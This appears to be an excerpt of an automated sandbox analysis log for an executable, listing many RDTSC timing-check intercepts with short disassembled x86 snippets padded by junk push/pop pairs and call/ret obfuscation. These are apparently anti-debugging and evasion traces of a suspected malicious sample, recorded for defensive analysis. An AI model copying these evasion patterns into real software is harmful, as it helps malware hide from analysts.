Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8664FC second address: 866503 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8653D7 second address: 8653F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB6510B03A8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8653F3 second address: 86549E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB65109F896h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007FB65109F888h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 add dword ptr [ebp+122D2EB0h], ecx 0x0000002c push dword ptr fs:[00000000h] 0x00000033 push 00000000h 0x00000035 push esi 0x00000036 call 00007FB65109F888h 0x0000003b pop esi 0x0000003c mov dword ptr [esp+04h], esi 0x00000040 add dword ptr [esp+04h], 00000014h 0x00000048 inc esi 0x00000049 push esi 0x0000004a ret 0x0000004b pop esi 0x0000004c ret 0x0000004d call 00007FB65109F88Fh 0x00000052 jne 00007FB65109F88Ch 0x00000058 pop edi 0x00000059 mov dword ptr fs:[00000000h], esp 0x00000060 mov ebx, 6C8BE721h 0x00000065 mov eax, dword ptr [ebp+122D031Dh] 0x0000006b mov bh, E1h 0x0000006d push FFFFFFFFh 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007FB65109F88Eh 0x00000077 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 86549E second address: 8654A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 867482 second address: 867487 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 869297 second address: 86929D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 86929D second address: 8692E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FB65109F88Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 mov dword ptr [ebp+122D37C5h], edi 0x00000016 jmp 00007FB65109F895h 0x0000001b push 00000000h 0x0000001d mov di, BA05h 0x00000021 push 00000000h 0x00000023 mov di, E06Fh 0x00000027 xchg eax, esi 0x00000028 pushad 0x00000029 jo 00007FB65109F888h 0x0000002f pushad 0x00000030 popad 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8692E7 second address: 869306 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB6510B03A5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 86848E second address: 8684A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FB65109F88Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8684A3 second address: 8684BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB6510B03A8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8684BF second address: 8684C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 86A6D0 second address: 86A6E2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jo 00007FB6510B0396h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 86A6E2 second address: 86A6E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 86B444 second address: 86B449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 86A6E8 second address: 86A6ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 86A6ED second address: 86A6F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 86A6F3 second address: 86A6F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 86C1DA second address: 86C1E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 86C1E0 second address: 86C1F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FB65109F888h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 86D2F4 second address: 86D2FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 870770 second address: 870776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 87097D second address: 87098F instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB6510B0398h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 87361E second address: 873628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 874584 second address: 874593 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007FB6510B0396h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 875564 second address: 8755AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 mov edi, 0F725C87h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007FB65109F888h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 or edi, dword ptr [ebp+122D2C0Eh] 0x0000002f push 00000000h 0x00000031 pushad 0x00000032 mov ecx, dword ptr [ebp+122D1DF4h] 0x00000038 mov ecx, dword ptr [ebp+122D33B0h] 0x0000003e popad 0x0000003f xchg eax, esi 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8755AB second address: 8755AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8756C2 second address: 8756C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8756C6 second address: 8756D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 81F461 second address: 81F467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 81F467 second address: 81F480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FB6510B0396h 0x0000000a popad 0x0000000b jl 00007FB6510B039Eh 0x00000011 pushad 0x00000012 popad 0x00000013 jne 00007FB6510B0396h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 81F480 second address: 81F492 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB65109F88Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 87B978 second address: 87B97D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 87B97D second address: 87B982 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 87B982 second address: 87B99A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jo 00007FB6510B0396h 0x00000011 jp 00007FB6510B0396h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8812D8 second address: 8812DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8812DD second address: 8812E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8812E4 second address: 8812EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8812EA second address: 8812F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8812F3 second address: 8812F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 822B9A second address: 822BA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007FB6510B0396h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 822BA6 second address: 822BBC instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB65109F88Ch 0x00000008 jl 00007FB65109F886h 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007FB65109F886h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 880D2E second address: 880D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 js 00007FB6510B0396h 0x0000000e pop esi 0x0000000f je 00007FB6510B039Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 880D45 second address: 880D68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FB65109F893h 0x0000000b jmp 00007FB65109F88Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 880EB4 second address: 880EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 880EBC second address: 880ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB65109F886h 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 880ECA second address: 880ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 818C22 second address: 818C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 889FB6 second address: 889FBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 889FBC second address: 889FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 88A5DD second address: 88A602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007FB6510B039Eh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB6510B039Fh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 88A8C5 second address: 88A8D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 88AA01 second address: 88AA05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 88AA05 second address: 88AA55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB65109F88Eh 0x00000007 je 00007FB65109F886h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FB65109F897h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FB65109F899h 0x0000001b jo 00007FB65109F886h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 88AD50 second address: 88AD55 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 88AEF7 second address: 88AF01 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB65109F88Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 88B1DC second address: 88B1E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 88B1E0 second address: 88B1F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a jc 00007FB65109F898h 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 88E0B9 second address: 88E0C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 895868 second address: 89588A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FB65109F886h 0x0000000a jmp 00007FB65109F893h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 89588A second address: 89588E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 89588E second address: 895894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 895CA3 second address: 895CC9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB6510B0396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007FB6510B03A8h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 895CC9 second address: 895CE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB65109F896h 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 895E45 second address: 895E4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 895E4C second address: 895E56 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB65109F892h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 896557 second address: 896592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FB6510B03A7h 0x00000011 jmp 00007FB6510B039Bh 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jns 00007FB6510B0396h 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8422F5 second address: 8422F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 895512 second address: 89552F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB6510B03A2h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 89552F second address: 895535 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 895535 second address: 895552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 je 00007FB6510B0396h 0x0000000e jmp 00007FB6510B039Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 862CC7 second address: 862CCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 86347F second address: 86348F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 jnp 00007FB6510B039Eh 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 86348F second address: 8634C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 xchg eax, esi 0x00000006 push 00000000h 0x00000008 push ebx 0x00000009 call 00007FB65109F888h 0x0000000e pop ebx 0x0000000f mov dword ptr [esp+04h], ebx 0x00000013 add dword ptr [esp+04h], 00000016h 0x0000001b inc ebx 0x0000001c push ebx 0x0000001d ret 0x0000001e pop ebx 0x0000001f ret 0x00000020 mov di, dx 0x00000023 or cx, 00A5h 0x00000028 nop 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edi 0x0000002d pop edi 0x0000002e pop eax 0x0000002f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8634C2 second address: 8634C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 863C89 second address: 863CBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FB65109F894h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB65109F891h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 863CBA second address: 863CC4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 863E5B second address: 863E5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 89C166 second address: 89C16A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 89C16A second address: 89C16E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 89C16E second address: 89C17E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB6510B0396h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 89C72A second address: 89C732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 89C868 second address: 89C874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 89C874 second address: 89C888 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB65109F890h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 89C888 second address: 89C8AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6510B039Ah 0x00000007 pushad 0x00000008 jmp 00007FB6510B03A7h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 89CB4E second address: 89CB52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 89CB52 second address: 89CB75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6510B039Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007FB6510B039Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 89CB75 second address: 89CB92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB65109F899h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A2F66 second address: 8A2F6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
